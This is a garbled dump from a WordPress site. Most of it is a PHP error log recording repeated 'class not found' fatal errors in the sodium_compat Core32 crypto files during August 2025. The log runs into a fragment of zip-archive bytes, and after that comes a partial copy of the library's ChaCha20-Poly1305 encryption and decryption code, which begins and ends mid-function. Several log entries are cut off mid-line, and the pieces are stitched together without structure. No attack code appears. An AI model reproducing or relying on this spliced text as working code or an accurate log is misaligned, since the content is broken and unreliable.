"ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [18-Aug-2025 08:14:49 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [18-Aug-2025 08:20:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [18-Aug-2025 08:22:00 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [18-Aug-2025 08:23:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [18-Aug-2025 08:25:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [18-Aug-2025 08:26:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [18-Aug-2025 08:27:16 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [18-Aug-2025 08:28:22 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [18-Aug-2025 08:29:24 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [18-Aug-2025 08:30:25 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [18-Aug-2025 08:31:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [18-Aug-2025 08:41:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [18-Aug-2025 08:42:42 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [18-Aug-2025 08:43:42 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [18-Aug-2025 08:45:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [18-Aug-2025 08:46:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [18-Aug-2025 08:47:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [18-Aug-2025 08:48:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [18-Aug-2025 08:49:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [18-Aug-2025 08:50:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [18-Aug-2025 08:55:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [18-Aug-2025 08:57:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [21-Aug-2025 04:23:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [21-Aug-2025 05:18:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [21-Aug-2025 07:26:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [21-Aug-2025 07:47:12 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [21-Aug-2025 08:48:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [21-Aug-2025 08:48:42 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [21-Aug-2025 10:31:07 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [21-Aug-2025 12:05:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [21-Aug-2025 13:04:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [21-Aug-2025 14:22:22 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [21-Aug-2025 19:31:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [21-Aug-2025 21:10:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [21-Aug-2025 22:37:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [29-Aug-2025 22:55:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [29-Aug-2025 22:55:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [29-Aug-2025 22:57:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [29-Aug-2025 22:58:45 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [29-Aug-2025 23:00:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [29-Aug-2025 23:01:34 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [29-Aug-2025 23:02:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [29-Aug-2025 23:03:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [29-Aug-2025 23:06:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [29-Aug-2025 23:07:42 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [29-Aug-2025 23:10:50 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [29-Aug-2025 23:47:45 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [29-Aug-2025 23:47:54 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [31-Aug-2025 01:37:10 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [31-Aug-2025 01:37:20 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [31-Aug-2025 01:37:40 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [31-Aug-2025 01:38:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [31-Aug-2025 01:39:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [31-Aug-2025 01:40:49 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [31-Aug-2025 01:41:52 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [31-Aug-2025 01:43:52 UTC] PHP Fatal erro[31-Aug-2025 01:46:58 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [31-Aug-2025 01:51:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [31-Aug-2025 01:53:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [31-Aug-2025 01:56:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [31-Aug-2025 01:58:43 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [31-Aug-2025 01:59:50 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [31-Aug-2025 02:00:51 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [31-Aug-2025 02:01:58 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [31-Aug-2025 02:04:02 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [31-Aug-2025 02:05:59 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [31-Aug-2025 02:08:04 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [31-Aug-2025 02:09:04 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [31-Aug-2025 02:11:09 UTC] PHP Fatal error: Uncaught Error: Class "[31-Aug-2025 02:14:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [31-Aug-2025 02:15:18 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 PK-L[ӈOOsrc/Crypto32.phpnu[update($ad); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::stream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core32_ChaCha20::streamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); $state->update($ad); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core32_Util::strlen($ad); /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core32_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES; /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core32_ChaCha20::ietfStream( 32, $nonce, $key ); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core32_Util::substr( $message, $len - self::aead_chacha20poly1305_IETF_ABYTES, self::aead_chacha20poly1305_IETF_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core32_Util::substr( $message, 0, $len - self::aead_chacha20poly1305_IETF_ABYTES ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core32_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core32_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core32_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core32_ChaCha20::ietfStreamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core32_Util::store64_le(1) ); } /** * 